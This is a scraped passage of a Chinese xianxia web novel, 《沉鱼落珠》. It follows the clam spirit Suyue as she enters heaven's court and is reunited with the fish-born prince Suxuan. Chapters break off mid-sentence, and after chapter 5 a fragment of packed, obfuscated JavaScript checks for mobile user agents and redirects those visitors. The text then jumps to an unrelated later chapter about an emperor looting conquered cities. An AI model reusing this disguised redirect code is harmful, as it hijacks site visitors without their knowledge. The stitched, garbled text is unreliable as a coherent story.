《沉鱼落珠》 1. 初入天庭 《沉鱼落珠》全本免费阅读 天地初开,百族林立。 修为的不同,习性的差异,导致各族之间常常爆发大战,混乱不堪。 无休止的争斗最终酿成了大祸,天柱倾倒,日月破碎,此方世界不堪重负,差点重归混沌。眼看形势越发严峻,诸神再也顾不得一己安危,纷纷全力出手抵御灾祸蔓延,在付出了巨大的牺牲后,一切终于平息。 此劫过后,各族意识到了不妥,遂决定以无尽海为界,将灵气、妖气、冥气、魔气汇聚分离,划分天、妖、冥、魔四界。修为高深、一心大道者于四界之上另辟神界居住,不问其余五界事,至于那些修为太低以及无法修行的普通生灵则归于下方人界,由天界管辖。 时间就这样过去了无数年。 天庭,仙籍府。 “凭什么我要被分去土德星君那里?” “刚刚飞升的来这边,不要乱跑。” “我是剑仙,只会打架,换个地方行不行?” “你一个人参打什么架,种药材去吧。” …… 夙月一进门就看到这乱糟糟的景象,好多人,让她十分不习惯。 左右张望半天,夙月总算在一堆人里发现了一张空着的桌子,一个胡子长长的老人家正靠在椅子上打盹。不过夙月感应到他并没有在睡觉,便走了过去,“请问这里是仙籍府吗?” 老人家睁开略显浑浊的眼睛,目光上下扫了夙月一通,“是仙籍府,刚飞升天界?” “不是的,我是从归魂谷来的,这是我的举荐信。”夙月从怀中掏出一张纸。 听到归魂谷三个字,老者总算是坐直了身子,伸手接过信,眯着眼眸端详了好一会儿,“原来是白泽上神的弟子。” “弟子?不不,你是不是弄错了,我在归魂谷就是个无所事事的小仙,可没有拜上神为师。”夙月赶紧解释。 老者摸了摸胡子,又抬头打量夙月一番,道:“信上是这么写的。” “啊?难道我拿错了,那个,要不我先回去一趟,过段时间再来报道可不可以。”夙月觉得奇怪,为什么信里的内容会是这样的,早知道自己先看看了。 “你这小丫头,傻乎乎的,难怪白泽上神要费这番心思,行了,不必麻烦了,这信乃神力所化,岂会弄错,夙月仙子是吧,”老者拿过一旁放着的籍册,翻到最后,又向前递给她,“在这里用灵力写下你的名字,便算是入天庭仙籍,日后出入南天门天柱自会有所感应,就不会被拦了。” 夙月呆愣愣地站在那里,一副不知该如何是好的样子。 “信上既然这么写了,那你就不必否认,天庭可不比归魂谷,关系复杂,有个靠山会好过很多的。”老者催促道,“以后慢慢就明白了,快写。” “哦。”夙月感受着这位老人家心中的善意,虽然一脸的迷糊,但还是乖乖写下了自己的名字。 天庭的仙官都这么热心的吗? 收起了这本籍册,老仙官不知从哪里又摸出一本来,“对了,你的原形是什么,我给你挑份合适的差事。” “我是……”夙月犹豫了一瞬,道,“鲛人。” 老仙官诧异地抬起头,“你是鲛人族的?” “对。”夙月点了点头。 “鲛人……这可难办了。”老仙官又摸起胡子,眉头的皱纹都挤成了一个山字。 夙月见状也不免有点紧张,怎么这位仙官心里这般为难,难道鲛人族这些年出了什么事?不会吧,我难得撒个谎,这么快就要被拆穿了吗? “哎呀,我怎么忘了那里!”只见老仙官突然一拍脑门,凌空画出一道符咒,然后那符咒便化成一道流光飞远了,又对夙月道,“你等一下。” “哦。”夙月面带茫然地站在原地。 等了一小会儿,眼前的老仙官忽然站起,道了一声:“白铃仙子。” 话音刚落,一阵轻盈的香风便迎面吹来,一位美目流盼、气质空灵的白衣仙女出现在夙月眼前,“禄文仙君,可是接替我的人选有着落了。” “正是,这位是白泽上神的弟子,今日刚刚过来,”禄文仙君熟络地走过去,又压低了声音,“是鲛人族的,放在你们碧波宫刚好。” 这位名叫白铃的仙女微微惊讶地看了夙月一眼,“竟是鲛人?”又对禄文仙君道,“多谢了,我这就带她去给公子看看。” “不客气,慢走。” “你随我来吧。” 白铃带着夙月离开仙籍府,一路上态度还挺和善,“不知仙子芳名?年岁几许?” “我叫夙月,今年一千五百九十岁了。” “原来是夙月仙子,我六千余岁,倒比你年长些。” “不用仙子仙子的,我既然要接替你的差事,年纪又比你小,便是晚辈了,以后我叫你白铃姐姐,你叫我夙月妹妹,如何?”夙月笑着道。 “那我就不客气了,夙月妹妹。”白铃笑得很温柔,心里却暗道,‘还挺自来熟的’。 夙月跟在后头,也没再出言,要不是见你气息纯净,心中又无半点恶意,还疑似跟鲛人族有点关系,我才不会跟你自来熟呢。 不过面上还是乖巧地笑着。 见这位白铃仙子也没有继续交谈的意思,夙月倒是有闲心看起了周围景致。 不愧是天庭,仙雾缭绕,灵气充沛,修炼圣地果然名不虚传,而且处处雕梁画栋的,看着就大气,就是不知道这里神仙们好不好相处。 夙月跟着白铃走了很久,越走越偏,也越走越远,直到她两条腿都开始发酸才终于到达了目的地。 “碧波宫”。 金光闪闪的三个字落在牌匾上,笔迹遒劲,残留灵息强盛,夙月只是凝神观察了一瞬便有眩晕之感,于是赶紧移开眼,不敢多看。 好强的气势,也不知是哪位上神墨宝。 白铃在大门前站定,转头道:“这里有结界,外人进不去,你先在此稍待,我去通报一声。” “好。”夙月老实点头,等白铃的身影消失,她便仔细打量起此处宫殿。 位置偏僻,左右没有邻居,水系灵气异常多,玄铁大门紧闭,丝毫瞧不见内里,院墙以灰犀石制成,望不到边,外面看着倒是颇为气派。 还有这所谓的结界,夙月伸手碰了碰,一道看不见的灵气罩将整个宫殿包裹在内,还挺结实的,不过……这结界里掺杂的气息和灵力,为什么有点熟悉? 正当夙月苦思冥想的时候,白铃去而复返,给夙月带回了一块令牌,“这是通行令,戴着它才能自由出入,跟我来吧。” 夙月拿着令牌经过结界的时候,那种熟悉的感觉更强烈了。不过到底是人家的地盘,还是别生事的好,夙月也没敢乱看,亦 3. 胖鱼哥哥 《沉鱼落珠》全本免费阅读 夙月被突如其来的风吹得睁不开眼,等再看清楚眼前的时候,石台上怪鱼消失不见,只剩下一个纤瘦的人影,正紧张兮兮地查看自己的衣服。 素玄见穿着没什么不妥,这才长出一口气,冷着脸往石台下走,“白铃没告诉你这边不能来吗?” “说了后面不能进,”夙月一脸的无辜,“可我迷路了。” “不认识路就别乱跑,看到什么不该看的怎么办。”素玄一脸的严肃。 “干嘛,我们两个在一起生活了一百多年,你全身上下什么地方我没见过,有什么不能看的?” 素玄刚刚下台阶的脚一个踉跄,差点摔倒,等好不容易站稳身子,脸上瞬时多了几分薄红之色,“你是女孩子,这种话不能随便说。” “怎么啦,我说的是实话呀。”夙月理直气壮。 素玄三步并作两步,飞快走到夙月面前,警告她:“现在可不是小时候,我们已经长大了,男女有别,以后言行一定要注意。” “我又不是外人。”夙月盯着比她高了半个头的青梅竹马,笑意盈盈,“胖鱼哥哥,你好像有点……羞恼?” 这种感情是羞恼没错吧。 素玄闻言全身都冒出了寒气,像冰块一样,“没大没小的,成何体统!” 夙月毫不畏惧,“干嘛这副表情,我招你了?” 素玄冷绷着脸,“你我如今身份有别,你倒是一点都不知道谨慎两个字怎么写,就不怕我一时动怒处置了你这个不知尊卑的小仙侍?” “分别太久,胖鱼哥哥难道是忘了小珠儿的能力?”夙月靠得更近了,“你心里明明一点也不生气,我这个呢就叫……有恃无恐。” “这么久没见,你也不怕我变得喜怒无常,要是我突然就生你气了怎么办?” 夙月伸出手,把它放在素玄心口,强有力的跳动从掌下传来,“可你的心告诉我,你见到我很高兴,也很怀念,一如从前,不愿伤我分毫。” 明媚又婉约,张扬又内敛,素玄低头看着这双如年少时那般充满矛盾的眼睛,眸中闪过一丝难以言喻的情绪。 夙月歪着脑袋,得意道:“但凡你生出一丁点厌恶之心,我早就躲得远远的了,才不会往你跟前凑呢。” 素玄的冷脸彻底装不下去了,赌气般地去敲夙月的头,“你呀。” 夜色低沉,两个人并排坐在台阶上,说起了当年。 “那日雷劫之后,青姨……便去世了,我当时只顾着难过,倒是忘了你,等想起来碎星湖早就没人了。每一年我都会回去祭拜,也没见着你的踪影。” “啊?青姨她……胖鱼哥哥,你要节哀顺变。”夙月没想到青姨那么早就不在了,唉,那么温柔的一个人啊。 “都一千多年了,往事已矣,倒是你,究竟去哪了?” “雷劫过后,整个碎星湖都变成了废墟,大家没有住的地方,只好陆陆续续地离开。我吧,那副蚌壳还好好的,就一直待里面等你,谁知道一连三天过去你也没出现,我还以为你是和青姨逃难先走了。等到最后那里就只剩我一个人,路过的白泽上神以为我是雷劫幸存者,就一袖子卷起蚌壳,把我给带到了归魂谷。” 提起旧事,夙月也满是伤感,“其实这些年我也一直想回去看看的,可归魂谷离碎星湖实在太远了,我不认得路,也没人愿意带我过去,只好既来之则安之地在上神那里住着,最近才出来。” “白泽上神对你好吗?”见夙月情绪低落,素玄摸了摸她的头。 “他呀,神龙见首不见尾,一千多年了,我一共就见过他三次。一次是他把我从碎星湖带走,一次是我和别人打架,他出面调解,最后一次就是他写了一封举荐信让我到天庭来。”夙月对这位便宜师父向来是只闻其事、不见其人的,结果莫名其妙成了他的弟子,还挺出乎意料的。 “对了,他还给我取了一个正式的名字,‘盼汝夙愿得成,朗如皓月’,夙月。” “夙……月。” “胖鱼哥哥,你呢,这些年在天庭过得怎么样?” “我?”素玄回神,叹了口气,“……一言难尽。” 夙月感受到素玄心中突然涌出了很多感情,纠结在一起,难以分辨,喜乐哀愁似乎什么都有。 看来胖鱼哥哥的日子也不好过,也是啊,毕竟身份比较尴尬,修为一直都那么低,青姨早早离去我又不在,没人保护他了。 念及青姨,夙月不免又想到白天的事,于是对素玄问出了自己的疑惑:“胖鱼哥哥,今天早上听白铃姐姐说你的生母是青黛上仙,那是青姨吧,她什么时候变成你娘的?” “这个啊……”素玄倒也没瞒她,“我当初带着青姨的信物来认亲,天帝陛下产生了一些误会,索性将错就错了。” “为什么?”夙月的疑惑更重。 素玄却反问道:“我给青姨当了一百二十年的儿子,如今不过是坐实这个身份,有何不可?” “可生母跟养母不是一回事吧?” “生母又如何?她没有养过我一天,我也没有半点关于她的记忆,是谁又有什么差别?” “这……”夙月本想反驳,然而心念几转还是默默咽下了嘴里的话。那可是天帝的女人,能出现早该出现了,毕竟……不是所有父母都在乎孩子的。 “可如此一来……陛下岂不是什么都不知道,是不是有点不公平?”夙月转移话题。 “有什么问题吗,反正对天帝来说,不论由谁所出,都是他的儿子。”素玄一点不心虚。 “话是这么说啦,可知不知道还是不一样的吧。” “不一样在哪,承欢膝下的是我,朝夕相处的也是我,如果真有不一样,那他在乎的究竟是我,还是谁之子呢?” “好像……有点道理,可……我怎么感觉哪里怪怪的。”到底哪里怪又说不上来,夙月觉得自己好像被绕进了一个圈里,明明他没有说谎啊,问题出在哪呢。 这父子之情对她来说实在太复杂了,不想再深究,夙月只好又问起另一件事,“那你明明是一条鱼,为什么会变成鲛人?是故意这么说的吗?” “倒不是故意的,我有一次练功不慎走火入魔,身上露出很多鳞片,被前来打扫的仙侍看到了,多嘴传扬出去,不知怎的就被当成鲛人了。”提到这件事,素玄其实也挺郁闷的,“我没有否认,之后便在整个碧波宫设了结界,闲杂人等不得进出。” 夙月:“因为青姨是鲛人族的吧,你是她儿子当然可能是鲛人,不过你干嘛不解释?” “我为什么要解释?” “那又为什么不解释?” “某人有资格问我为什么吗?小、珠、儿。” 一字一顿,清楚点出的三个字让夙月蓦地红了脸,“都这么久了你还记着呢。” 4. 小可怜 《沉鱼落珠》全本免费阅读 夙月在正殿前找到了白铃,“白铃姐姐,你今天怎么那么久都没回来呀?” “有些事耽搁了,”白铃脸色不太好,但见到夙月她又重新挂起温和的笑容,“抱歉,把你一个人留在这,今日天色不早了,你先回去休息吧,明日我们再继续。” “好吧,那我先走了。”夙月故意把脚步放得很慢,然后果然听到了白铃的心声。 ‘一群势利小人,待我晋升上仙,再敢来招惹,拍扁你们!’ 夙月十分吃惊,哇,没想到白铃外表看着是个清冷美人,内里居然这么暴躁,果然是仙不可貌相。 第二日,白铃又变回了那个温和有礼的仙女。 “别看这碧波宫地方大,其实平日里你也不需要干什么活的,宫里四处是阵法,不用打扫。你要做的就是一些摆放保存器具的事,还有处理下和外面的联络。” 白铃带着夙月出门,去往平日里熟悉的几个地方。 一路上,夙月总算是对目前的情况有了大致的了解。 天帝,也就是胖鱼哥哥的爹,目前有一后一妃,一子一女。 天后,名字未知,反正尊称天后就可以了,是火灵一族的。 天妃丹芷,狐族的,不怎么得宠。 长子素玄,但目前仅限于天庭内部知道,一条胖鱼,对外宣称鲛人。 次女云瑶,天后所出,刚满一千岁,据说是一只金色鹏鸟。 等一下,外界一直都有传言,天帝威武不凡、实力强大,但原形无人见过,难道…… 夙月想象了一下:一只全身蓝色鳞片的大鹏,或是一条长了金色翅膀的胖鱼……是因为太丑了吗? …… 碧波宫的位置偏,平时不会有什么神仙经过,胖鱼哥哥目前也没什么职位,闲人一个,所以有来往的地方也就那么几处。 金阙宫,住着天帝,他老人家日理万机,平时见不到的,没什么大事也不能前去打扰。 不认儿子,连面都见不到,怎么听着这么可恨呢,胖鱼哥哥这是要步我的后尘了吗? 明音宫,住着天后,远远瞧了一眼,没过去,和胖鱼哥哥关系很差。 嗯,嫡母和私生子嘛,也正常。 扶风殿,住着云瑶公主,她今天人不在,据白铃所说,和胖鱼哥哥关系不远不近。 同父异母嘛,好像也没什么问题。 瀚海馆,天庭典籍收藏的地方,胖鱼哥哥常来看书,没什么要注意的。 不过看门的那位仙官好像对我们俩善意十足啊。 厨神居,专门做吃食的地方,掌勺的长釜上神和胖鱼哥哥私交甚好。 不会吧,他自己都不吃饭,还和一个厨子交情好? 见着长釜上神的时候,夙月可着实吃了一惊,铁塔一般的壮汉跟厨子的身份十分不匹配。 你确定这是厨神不是战神?灵息强盛,一点都不比白泽上神差,这么厉害做什么饭啊?天庭人才这么过剩的吗? …… 仅仅一天时间,夙月知道了很多事,但心中的古怪也增添了几分。 照白铃所言,和她一路上遇到的仙人所想来看,胖鱼哥哥现在就是个没人管的小可怜,整日躲在碧波宫大门不出二门不迈。 真是无法想象,就算青姨不在了,那也是胖鱼哥哥啊,除了修为太低总打不过别人,其它什么地方吃过亏?难道是青姨的去世给他的打击太大了? 正有一搭没一搭地想着这些,夙月眼角余光却扫到了一处地方,止住了脚步,“白铃姐姐,那几位仙女是哪一境界的,为何周身灵息如此之弱?” 仍在领路的白铃闻言停下来看向夙月指着的方向,“她们啊……不算是仙。”说着眼神中又透露出些许怜悯,“只是灵体。” “灵体?” 白铃解释道:“地仙之下便是灵体,多是一些受灵气滋养而侥幸化形的草木精怪,在天庭做着一些旁人不愿做的杂事,地位……跟奴仆差不多。” “奴仆?”听到这两个字,夙月的心突然就揪了一下。 白铃点头,“夙月妹妹,你我虽名为仙侍,但并非真正的侍从,不过是在天庭领了份活干,有俸禄拿的,来去也自由。可那些灵体不一样,进了这天庭,生杀予夺再不由己。” “既然如此,她们为什么还要来这里,随便找个地方慢慢修炼不就好了吗?” 白铃摇了摇头,“夙月你是上神弟子,又一直生活在归魂谷,哪里知道外界险恶。你看那个拎着花篮的,她叫采莲,本体乃是一株并蒂莲,原有一个双生姐姐,只可惜化形那日刚好有一头青牛从旁经过,直接将她姐姐一口吞掉了。” “吞,吞掉了。”夙月吃惊地睁大了眼睛。 “是啊,可那又如何呢,她一个低等的灵体,根本打不过人家,能保住性命还是因为那头青牛觉得莲花不好吃,这才放过了她。” “没人管的吗?”夙月看着采莲忙碌的样子,难受得紧。 “管?区区一朵刚刚化形的莲花,无亲无故,又是个不会有前程的灵体,谁会为她们出头,死了也是白死。”白铃的声音里透着悲哀。 “在天庭,虽说要受些委屈,但神仙都是要脸面的,只要不犯什么大罪,就不会有性命之忧,若是运气好,得了哪位上仙或是上神点化,更是可以晋升地仙,成为真正的仙人。哪像外面,稍有不慎便是灭顶之灾,要是碰上一些心肠恶毒的,更有可能生不如死,所以这里可是那些灵体挤破头都想进来的地方。” 夙月心里划过一丝酸涩,“那公子刚来的时候,是不是……也受了很多委屈。” 瞧着夙月一脸的难过,白铃忍不住点了点她的脑袋,“你呀,乱想什么呢,公子虽说修为低了点,但好歹是个地仙,又是陛下的儿子,怎么可能和那些灵体一样呢?” 可他并非生下来就是地仙的,胖鱼哥哥以前的修为,一直都是跟那些灵体一样的。碎星湖人烟稀少尚且过得艰难,天庭呢,他那点心眼斗得过这些活了千万年的前辈吗?真的没有受委屈吗? 胖鱼哥哥自尊心那么强,刚来天庭的时候一定非常难过,难怪别人会觉得他是个小可怜,原来他是真的很可怜。在碧波宫建那么厚的结界,一定也 5. 帝后寿宴(上) 《沉鱼落珠》全本免费阅读 接下来的十多天,夙月一直都跟着白铃满天庭跑。 主要还是认人认地方,虽然大部分都没记住,但好歹混了个眼熟,至少让人家知道以后碧波宫的事务都由这位夙月仙子接手了。 不过,随着去的地方越来越多,夙月明显感觉到了气氛的不一样,“白铃姐姐,我怎么觉得天庭的氛围似乎有些热闹,大家都特别忙?” 白铃回道:“那是因为天帝天后的寿宴快到了,所以众仙都在准备。” “寿宴?” “没错,帝后寿辰只隔一天,今年虽是小宴,但也是我天庭一大盛事,届时天界各方仙神都会过来,有些仙家住得远,光赶路就要半年呢。”白铃解释道。 夙月原本的想法立马跑偏了,“啊?赶路就得半年,那回去又要半年,岂不是时间都要耗在路上?” 白笑了,“你怎么连这个也不知道,天界神仙寿命悠长,有些一闭关就是百年千年,岂能年年做寿,通常都是百年办一次小宴,千年办一次大寿,难道白泽上神不是这样的吗?” “这个啊,上神喜静,这么多年了归魂谷从来也没办过什么宴席。”别说宴席了,连聚会都没有,平日里安静得跟没人住似的。 白铃:“原来如此,那你这回更要好好长长见识了。” 甩去脑海里那些不好的回忆,夙月终于想起来自己原本想问的,“那既然是这么重要的事情,我们碧波宫怎么一点准备都没有?” 白铃半是无奈半是自嘲地道:“我们要做什么呀,席面又轮不到我们布置,至于寿礼,公子很久以前就备好了,所以到时候你只需要陪他去席上露个面就行。” “我?”夙月一听要她和胖鱼哥哥一起去,连忙拒绝,“不行不行,这么重要的场合……” “夙月妹妹,”白铃打断她,“经过这段时间的相处,我看得出你并非莽撞之人,行事也很妥帖,只要你这回能再顺顺利利地陪公子走一趟,我也就能放心闭关了。” “可,可我才刚来……”夙月从来没有出席过什么大场面,非常怀疑自己能不能撑得住。 白铃鼓励道:“没关系的,平常心,只是一个宴席而已,我相信你,更相信公子的眼光。” “那,好吧,我试试。”话说到这份上,夙月也只能应下。 白铃总要闭关的,以后的事迟早还是要我和胖鱼哥哥一起面对,不能退缩,不就是个宴席吗,我还怕了不成。 但到了当天,夙月还是有些紧张。 去往宴席的路上,她忍不住拉了拉素玄的袖子,低声道:“胖鱼哥哥,这个宴席是不是会有很多仙人,我,我不会闹笑话吧。” 这话可是真心实意,不论是在迷雾海还是归魂谷,她可真的一次宴席都没参加过。 “不必紧张。”素玄倒是很冷静。 “可要是别人和你说话,我该干些什么?”夙月还是平静不下来,她自己失礼丢脸不要紧,连累了胖鱼哥哥可怎么好,他处境都这么艰难了,可不能再被人笑话。 “我人缘不好,大概不会有什么人来套近乎,你安静跟着就行。”素玄的脸上一派温和,但这种温和又与在碧波宫不同,像是……戴了一张面具。 “还有啊,出了这碧波宫你可得处处小心。” “怎么了?” 素玄顿了一下,回道:“天后看我不是很顺眼,白铃刚来的时候可因为我受到不少刁难,你初来乍到什么都不懂,别被人欺负了。” “杞人忧天,怎么可能有人欺负得到我,那些阴谋诡计在本姑娘面前一点用都没有。”被他这么一打岔,夙月原本的紧张也消失不见,很快冷静下来。 “我知道你聪明,但明枪易躲,暗箭难防,还是注意点好。” 夙月听着这略带凉意的语气,暗道看来胖鱼哥哥这些年真的受了不少委屈。 暗箭难防,我又岂会不知啊。 夙月扬起笑脸,脸上的笑跟素玄十分相似,“我会的。” —— 到了大殿,果然是人声鼎沸,来来往往全是看不清修为的仙神。 素玄带着夙月坐到了左边上首的第二个位子。 而右边首座的正是云瑶公主。 云瑶的好友南烟仙子见素玄进了大殿,赶紧坐到云瑶身旁,小声道:“天帝真是偏心,那素玄是个什么身份,竟也能跟你平起平坐。” 云瑶抬眼看向对面,“哪里平起平坐了,不是还隔着一个位子?” “谁不知道那位子一直是空着的,他跟首座有什么区别。”南烟替好友不值,“要不要我替你教训教训他?” “可别!”云瑶连忙道。 “云瑶,你不会真认了这个便宜哥哥吧,我告诉你,这些私生子啊,心都黑着呢。”南烟气鼓鼓的。 “好了,他跟你那些兄弟不一样。”云瑶有些无奈。 南烟很不服气,“能有什么不一样,我就不信,他愿意一辈子当个‘大公子’。” “我是为你好,还教训他,你不被他教训就不错了。”云瑶更无奈了。 “不过区区一个地仙,能有多大本事?”南烟斜着眼睛瞥了素玄一眼。 他要是个地仙,我就是上神了。云瑶盯着素玄,有一下没一下地扒着橘子,也不知道究竟是怎么想的,明明父帝说了,只要修至天仙境,就正式承认他的身份,偏要整日装得跟棵小白菜一样。都说女人心海底针,我看男人心也没好到哪里去,海底砂,找不见。 “总之你别多事。” 这边两个人对着素玄嘀嘀咕咕的,对面夙月也注意到了她们。 坐在对面的就是那位云瑶公主了吧,和胖鱼哥哥长得还挺像的,不过为什么眼神这么不善,是有过节吗?而且两个人表情变来变去的,想什么呢? 奈何这座位的距离有点远,夙月什么都探不到。 正当夙月打量着对面,旁边坐着的素玄却突然站起来,向左边施了一礼,“见过元德上神。” 夙月循声望过去,是一个慈眉善目的老神仙。 那老神仙正要回应,“素……” 结果素玄却直接又坐下了,理都没理人家。 夙月就眼睁睁地看着这位元德上神脸上和善的笑容僵在那里,然后化为一抹苦笑,再摇摇头静静地在左首的位子坐下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857213|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重靖不明白苍狼的意思,“我说的话有什么问题吗?” “在张大人眼里,陛下不该让人去谋取别国富户的钱财?” “如果城池真的被攻下,那些百姓就不算是别国的,君王理当爱民如子,可他呢,居然一副高高在上的样子,视那些百姓如蝼蚁一般,轻描淡写地要抄家,难道我不该生气?” “陛下是东齐之主,将来更会是天下之主,为什么不能高高在上?”苍狼冷眼瞧他,“三军未动粮草先行,别管胸中有什么家国大义,只要没有银子他们什么事也办不成,陛下这样做有什么错?” “筹钱有很多办法,收税、募捐……一堆名正言顺的理由他为什么非要干出这种跟抢劫没分别的事呢,连木桪都不会这样做!” 苍狼闻言眯起了眼,“原来张大人是这么个想法,巧了,我也听到一些消息,自贪狼元帅去世后,宸王这个天生神力的竟在军中脱颖而出得尽军心,他不喜朝政,便将事情都丢给首辅,自己跑去领兵打仗,十天前,他攻占北梁越城,手下有一队骑兵在城中烧杀掳掠,强占民女,闹出了不小的动静。” “不过是一小部分害群之马,木桪早已严令任何人不得随意伤害城中百姓,这只是个意外而已。” “所以张大人是觉得他这个统帅不用负任何责任的,对吗?” “怎么没有负责,木桪他知道这件事后亲自登门去给那些平民赔礼,加以抚恤,还重罚了那些败类。” “是啊,听说百余人当街鞭笞,场面可壮观了,有两个人甚至被活活打死了,看到后来,全军都跪下来求情,甚至连那些受害者都不忍心,哭着说愿意原谅他们。” “不好吗?” “此事之后,整个越城都在说周皇是个贤明仁德的君主,胜过梁皇百倍,一定能给他们带来好日子。”苍狼嗤笑一声,“可他们却忘了,如果不是木桪攻破越城,他们还好好地活在本国将士的庇护之下,如果不是木桪治军不严,那些无辜的人根本不会遇到此等祸事!” “军中兵将那么多,心思各异,出现意外也是在所难免,这也不是木桪的错。” “乔元帅和付将军麾下怎么从来没发生过这种情况,说到底,还不是他没用管不住手底下的兵!” “这怎么能一样,木桪毕竟不是中周人,难免有点镇不住他们。” “那是他自己选的。” “这皇帝又不是他想当的,我还不知道那个傻子吗,明明是被那纪云瑶硬推上去的。” “可他还是当了,以敌国三皇子、先皇外甥的身份坐上了中周的皇位!” “苍狼,你这是怎么了,木桪都当上周皇多久了,你还要提这些。” “我不过是有些不平而已,其实这么多年来,我心里一直有个疑问,为什么宸王总是可以这么幸运,坏事都是别人做的,可最后的好处都被他给占了。” “这就叫善有善报,他心怀仁善,老天爷自然站在他这边。” “善报?所以大人是认为木桪是一点错都没有的,至于那些被杀的百姓,被伤害的女子,只能怪他们自己命不好?” “我不是这个意思。”张重靖对着苍狼只觉有理说不清,“我……我只是觉得君子持身自正,无法强求别人行事磊落,但至少可以保证自己心中一片清明。” “光自己清明有什么用,他是一国之主,不是个贩夫走卒!” “苍狼,你到底想说什么?” “张大人,陛下自登上皇位的那一刻起就不再是一个纯粹的君子了,帝王之道他是必定要走的,你能体谅宸王种种不易,为什么就看不到他的难处?不过是任用一个有缺点的人,不过是压榨敌国百姓,究竟算什么十恶不赦的事,值得你冲进宫里以下犯上?” “木桪伤害百姓并非出自本意,可素玄却是主动这样做,我难道连生气的权利都不能有?” “张重靖!”苍狼怒喝,“你真该庆幸当初夺位时站在了我们这边。” “什么?” 否则,我一定在你叛向宸王之前先宰了你,免得徒惹陛下伤心,苍狼默默咽下这句话,道:“张大人要是觉得宸王才是个好皇帝,尽早滚到中周去,也免得你天天对着我们陛下心里不痛快。” “你这是说什么话,我张重靖那种岂是叛国的小人,为人臣子,君王德行有失,自当尽责劝谏,我有什么错。” “哼。”苍狼气呼呼地走了。 张重靖望着他的背影只觉莫名其妙,“是他行事狠辣,我还说不得了,蛮不讲理,真是有其主必有其仆。” 117. 为何用他 未央宫。 姜夙月正在查看各处管事交上来的每日所做事件奏报,“人果然还是要有些压力的,如今他们写的东西是越来越简洁了,就连当初担心的纸张不够,也有人造出了这贝纹纸,虽略显粗糙,但成本实在低廉,若能推行至民间也算功德一件呢。” 橙冬在一旁笑道:“那也是娘娘一直上心呀,他们不敢怠慢偷懒,可不就得想尽办法让自己方便些。” 就在这时,一个小宫女进殿禀告,姜丞相送来一封信。 姜夙月接过信件查看,橙冬在一旁好奇地伸着脖子,“相爷有什么事啊?” “爹爹想让我帮忙劝一劝素玄。” “劝陛下?” “嗯。”姜夙月放下信,“前些日子素玄不是任用了一个南楚的贪官吗,不但百官非议,民间也流言四起,都不明白他为什么放着满朝的大臣不用非要去找一个别国的奸佞,而最近那人刚到北梁的百霜城就闹出了天大的动静,他竟毫不留情地屠了一个世家,尽数掠走财物,这实在太过耸人听闻,爹爹怕再这么下去会出大乱子,便想让我去吹吹枕边风。” “枕边风啊,”橙冬面露难色,“您跟陛下这样……怎么吹。” 姜夙月脸上划过一丝不自在,“行了,什么事不能光明正大地说,咱们去安居殿。” 姜夙月带着橙冬来到安居殿,为了让劝说委婉点,她选择先从百姓入手。 “素玄,我听说你让付将军去攻打北梁,还让他威逼城中富户将财物全部交上,这是不是有点不大好。” “敌国百姓,我本就没有必要对他们那么好。” “可城池既然已经被攻下了,那他们就是东齐的子民,你这样……有损名声。” “月儿,升米是恩,斗米就会变成仇。我若现在就把他们视作自己的子民,一开始那些人的确会觉得我很仁慈,心存感激,但内外终究有别,日后一旦与东齐百姓起了争执,而他们又没争过,便会觉得我这个皇帝十分虚伪,嘴上说着一视同仁,实际上却处处偏袒本国百姓。与其如此,倒不如趁着他们刚刚亡国之际,人心涣散,万事不敢强求,用雷霆手段整肃一切,把北梁之地彻底变成我东齐之邦,待他们明白安安分分做个良民才是正理的时候,我再善待不迟。” “你干嘛总把人想得那么坏呢。” “自私自利是刻在世人骨子里的,改不了。” “你这是偏见,素玄,那些世家大族很冤啊,虽然有些的确会为富不仁,可大多数肯定是行善积德的,不然怎么服众?人家的钱也是祖辈一代代攒下来的,你这一下子全拿走,对他们多不公平。” “这世上不公平的事多了去了,也没见都有人出来主持正义。” “你就不怕别人骂你?” “一时的骂名算什么,百姓都是善忘的,只要以后过上了好日子,什么都会忘干净的。” 姜夙月被他这无所谓的态度气得肝疼,这让她怎么劝。 似是看出了姜夙月的气愤,萧素玄拉过她的手,道:“月儿,我这也是无奈之举,国库税银确实不够了,不压榨他们我就得压榨东齐的百姓,两相权衡,还是欺负他们比较好,更何况办任何事都需要银子开路,没有钱谁也没办法造反,你以为他们愿意当亡国奴吗,北梁那一半主动归顺的还天天有人想着复国呢,我不能不防。” 萧素玄认真解释的话语让姜夙月渐渐平静下来,“行吧,那就算这是治国的手段,你也没有必要非找那么一个人人唾弃的贪官吧,连南楚都不要他了,你还巴巴请过来。” 萧素玄听得这话,道:“月儿,小时候老师曾给我们讲过一个典故:程浊严清。” “怎么突然提起这个,我知道,这说的是八百年前的匡国曾出过两个很有名的大臣,一个姓程,位居相国,却是个贪官,穷奢极欲目无君上,后来终于行迹败露被抄家砍头,一个姓严,是个清官,正直无私人人称颂,最后从一介县令当上了相国。” “是啊,野史话本、民间戏文无不在贬程扬严,好人得到嘉奖,坏人下场凄惨,可老师却告诉我们,事实和传闻是完全不一样的。” “不一样?” 萧素玄点点头,“那个程相国的确结党营私,但他一生只看重权势,并不在意钱财,抄家后程家历年的账本都被搜出,原来他收受的那些贿赂竟全被用来为穷乡僻壤修桥铺路了,自己未留一文,而且身边也只有一位貌丑的发妻,一生无子,不曾纳妾。 那位严县令,确实廉洁清正,可后院妻妾无数,仗着他身份作威作福的亲戚更是多如牛毛,只是严县令每次都会严惩所以才显得他特别大公无私。等到后来他当上相国,对外拢不住手下利欲熏心的官员,对内管不住那些贪得无厌的亲戚,他有三儿三女,却都死在了后宅阴私之中。” 姜夙月很惊讶,她还是头回听说这些事。 